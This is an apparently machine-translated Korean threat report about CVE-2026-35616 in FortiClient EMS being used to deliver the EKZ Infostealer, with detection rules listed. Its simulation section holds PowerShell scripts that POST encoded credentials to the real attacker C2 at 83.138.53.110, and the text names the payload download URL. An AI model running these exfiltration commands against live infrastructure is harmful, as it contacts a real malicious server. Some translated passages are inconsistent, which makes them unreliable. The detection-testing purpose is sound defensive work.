SOC Prime Bias: 위급

29 May 2026 07:30 UTC

FortiClient EMS, CVE-2026-35616을 통해 Fortinet 패치로 위장한 EKZ Infostealer 전달

Author Photo
SOC Prime Team linkedin icon 팔로우
FortiClient EMS, CVE-2026-35616을 통해 Fortinet 패치로 위장한 EKZ Infostealer 전달
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Arctic Wolf는 캠페인을 식별하여 악용했음 CVE-2026-35616 FortiClient EMS에서 관리되는 엔드포인트에 악성 PowerShell 스크립트를 배포하기 위해 악용됐습니다. 그 스크립트는 합법적인 Fortinet 패치처럼 위장된 EKZ Infostealer라는 자격 증명 절도 페이로드를 검색하고 실행했습니다. 이 악성코드는 브라우저 비밀번호, 쿠키 및 자동완성 정보를 수집하고, 탈취된 데이터를 HTTP를 통해 탈출시켰습니다. 신뢰할 수 있는 EMS 구성 채널을 악용하여 공격자는 여러 관리 장치에 페이로드를 신속하게 실행할 수 있었습니다.

조사

연구원들은 FortiClient EMS API에 특수 제작된 인증되지 않은 HTTP 요청을 보내 구성 변경으로 악성 스크립트를 삽입한 익스플로잇을 재현했습니다. 실행 추적은 show fortitray.exe or ipsec.exe spawning cmd.exe, 이는 Base64로 인코딩된 PowerShell 명령을 실행하여 p.exe 를 악의적인 IP 주소에서 다운로드했습니다. 페이로드가 log.txt 파일을 ProgramData에 작성하고, 같은 서버로 캡처된 데이터를 다시 보낸 다음 스스로 삭제했습니다.

완화

조직은 CVE-2026-35616 을 해결한 버전으로 FortiClient EMS를 업데이트하고 승인된 소스 IP 주소로 API 접근을 제한해야 합니다. 방어자는 인증서 관련 오류와 원격 접근 프로파일의 예기치 않은 변경 사항을 위해 EMS 로그를 검토해야 합니다. 엔드포인트에서 알려지지 않은 IP 주소로 향하는 아웃바운드 HTTP 트래픽은 차단되어야 하며, VPN 프로파일 워크플로 내에서 스크립트 실행은 최소 권한 제어를 통해 제한되어야 합니다.

대응

이 활동이 감지되면 영향을 받은 호스트를 즉시 격리하고, 생성된 비인가 EMS 계정을 해지하며, FortiClient 로그 디렉토리에서 악성 스크립트 파일을 제거해야 합니다. 조사자는 log.txt 아티팩트를 보존하고 악성 바이너리의 해시를 계산하며 환경 전반에서 일치하는 지표를 검색해야 합니다. 노출된 브라우저 자격 증명은 재설정돼야 하며 팀은 자격 증명이 탈취된 후에 발생할 수 있는 의심스러운 인증 활동을 모니터링해야 합니다.

"graph TB %% Class definitions classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Nodes action_initial_access["<b>Action</b> – <b>T1190 Exploit Public-Facing Application</b><br/>CVEu20112026u201135616 in FortiClient EMS API"] class action_initial_access action process_api_requests["<b>Process</b> – Unauthenticated API requests processed as privileged admin actions"] class process_api_requests process action_cmd_launch["<b>Action</b> – <b>T1059.003 Windows Command Shell</b><br/>fortitray.exe & ipsec.exe launch cmd.exe"] class action_cmd_launch action action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Base64u2011encoded PowerShell script execution"] class action_powershell action technique_obfuscation["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/>Payload delivered as base64"] class technique_obfuscation technique technique_decode["<b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Runtime base64 decoding"] class technique_decode technique action_download["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b><br/>Download FortiEndpoint_Patch.exe (p.exe)"] class action_download action file_payload["<b>File</b> – FortiEndpoint_Patch.exe (p.exe)<br/>Hosted at http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["<b>Action</b> – <b>T1203 Exploitation for Client Execution</b><br/>Silent execution of downloaded binary"] class action_execute action malware_infostealer["<b>Malware</b> – EKZ Infostealer<br/>Collects credentials, cookies, autofill data"] class malware_infostealer malware technique_cred_access["<b>Technique</b> – <b>T1555.003 Credentials from Web Browsers</b>"] class technique_cred_access technique file_log["<b>File</b> – C:ProgramDatalog.txt<br/>Collected data storage"] class file_log file action_exfil["<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>HTTP POST to attacker server"] class action_exfil action action_cleanup["<b>Action</b> – <b>T1564 Hide Artifacts</b><br/>Delete malicious files and log"] class action_cleanup action %% Connections action_initial_access –>|leads_to| process_api_requests process_api_requests –>|triggers| action_cmd_launch action_cmd_launch –>|executes| action_powershell action_powershell –>|uses| technique_obfuscation technique_obfuscation –>|requires| technique_decode action_powershell –>|downloads| action_download action_download –>|retrieves| file_payload file_payload –>|executed_by| action_execute action_execute –>|runs| malware_infostealer malware_infostealer –>|performs| technique_cred_access malware_infostealer –>|writes| file_log file_log –>|sent_by| action_exfil action_exfil –>|followed_by| action_cleanup action_cleanup –>|deletes| file_payload action_cleanup –>|deletes| file_log "

공격 흐름

탐지

단축 파일 이름 (cmdline 경유)

SOC 프라임 팀
2026년 5월 28일

의심스러운 CURL 사용 (cmdline 경유)

SOC 프라임 팀
2026년 5월 28일

Powershell에서 의심스러운 .NET 메서드 호출 (powershell 경유)

SOC 프라임 팀
2026년 5월 28일

Bits 전송 활동 가능성 (powershell 경유)

SOC 프라임 팀
2026년 5월 28일

IOCs (HashSha256) 탐지: FortiClient EMS는 CVE-2026-35616을 통해 EKZ Infostealer를 Fortinet 패치로 위장하여 전달

SOC 프라임 AI 규칙
2026년 5월 28일

IOCs (HashSha1) 탐지: FortiClient EMS는 CVE-2026-35616을 통해 EKZ Infostealer를 Fortinet 패치로 위장하여 전달

SOC 프라임 AI 규칙
2026년 5월 28일

IOCs (HashMd5) 탐지: FortiClient EMS는 CVE-2026-35616을 통해 EKZ Infostealer를 Fortinet 패치로 위장하여 전달

SOC 프라임 AI 규칙
2026년 5월 28일

IOCs (SourceIP) 탐지: FortiClient EMS는 CVE-2026-35616을 통해 EKZ Infostealer를 Fortinet 패치로 위장하여 전달

SOC 프라임 AI 규칙
2026년 5월 28일

IOCs (DestinationIP) 탐지: FortiClient EMS는 CVE-2026-35616을 통해 EKZ Infostealer를 Fortinet 패치로 위장하여 전달

SOC 프라임 AI 규칙
2026년 5월 28일

EKZ Infostealer 자격 증명 탈출 (HTTP POST 경유) [Windows 네트워크 연결]

SOC 프라임 AI 규칙
2026년 5월 28일

FortiClient EMS는 CVE-2026-35616을 통해 EKZ Infostealer를 전달 [Windows 프로세스 생성]

SOC 프라임 AI 규칙
2026년 5월 28일

Powershell 실행을 통해 FortiClient에서 EKZ Infostealer를 전달 [Windows Powershell]

SOC 프라임 AI 규칙
2026년 5월 28일

시뮬레이션 실행

전제 조건: ‘텔레메트리 및 기준선 프레플라이트 검사’가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 유도하도록 설계된 적대적 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령 및 설명은 식별된 TTP를 직접 반영해야 하며, 탐지 논리에 기대되는 정확한 텔레메트리를 생성한 목표를 갖습니다. 추상적이거나 관련이 없는 예시는 오진을 초래할 수 있습니다.

  • 공격 서술 및 명령:
    공격자는 이전에 Windows 레지스트리에서 EKZ Infostealer를 사용하여 자격 증명을 수집했습니다 (T1216 패밀리). 수집된 덩어리를 외부로 전송하기 위해, 악성코드는 PowerShell 일회용 실행을 실행하여 Base64로 인코딩된 자격 증명을 83.138.53.110의 명령 및 제어 서버에 POST합니다. PowerShell (Invoke-WebRequest)의 사용은 여전히 방화벽에서 관찰 가능한 네트워크 텔레메트리를 생성하면서 바이너리 기반 탐지를 피할 수 있는 고전적인 ‘장비 내 반사용법’ 기술입니다.

    powershell
    # 시뮬레이션된 자격 증명 페이로드 ("user:pass"의 Base64)
    $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
    $uri = "http://83.138.53.110/collect"
    Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
    
  • 회귀 테스트 스크립트: 이 독립적 PowerShell 스크립트는 내보내기 단계를 재현하며, 향후 회귀를 위해 다시 실행할 수 있습니다.

    powershell
    <#
    .SYNOPSIS
        EKZ Infostealer 자격 증명 탈출 시뮬레이션 (HTTP POST).
    
    .DESCRIPTION
        가짜 자격 증명 덩어리를 생성하고, 인코딩하며, 탐지 규칙에서 사용된 알려진 악성 IP로 POST합니다.
    
    .NOTES
        포트 80에서 83.138.53.110로의 아웃바운드 HTTP가 허용되어야 합니다.
    #>
    
    # ---- 준비 ----
    $creds   = "admin_user:SuperSecret!"
    $b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
    $target  = "http://83.138.53.110/collect"
    
    # ---- 실행 ----
    try {
        Write-Host "[*] 자격 증명 덩어리를 $target 으로 전송 중..."
        $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
        Write-Host "[+] HTTP 상태:" $resp.StatusCode
    } catch {
        Write-Error "[-] POST 실패: $_"
    }
    
    # ---- 스크립트 종료 ----
    
  • 정리 명령: 디스크에 영구적인 아티팩트는 생성되지 않지만, 철저히 검토하기 위해서는 모든 남아 있는 웹 요청 세션을 닫고 PowerShell 변수를 지웁니다.

    powershell
    # 변수 정리 및 열린 웹 세션 닫기
    Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
    if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
        Remove-WebRequestSession -All
    }
    Write-Host "[*] 정리 완료."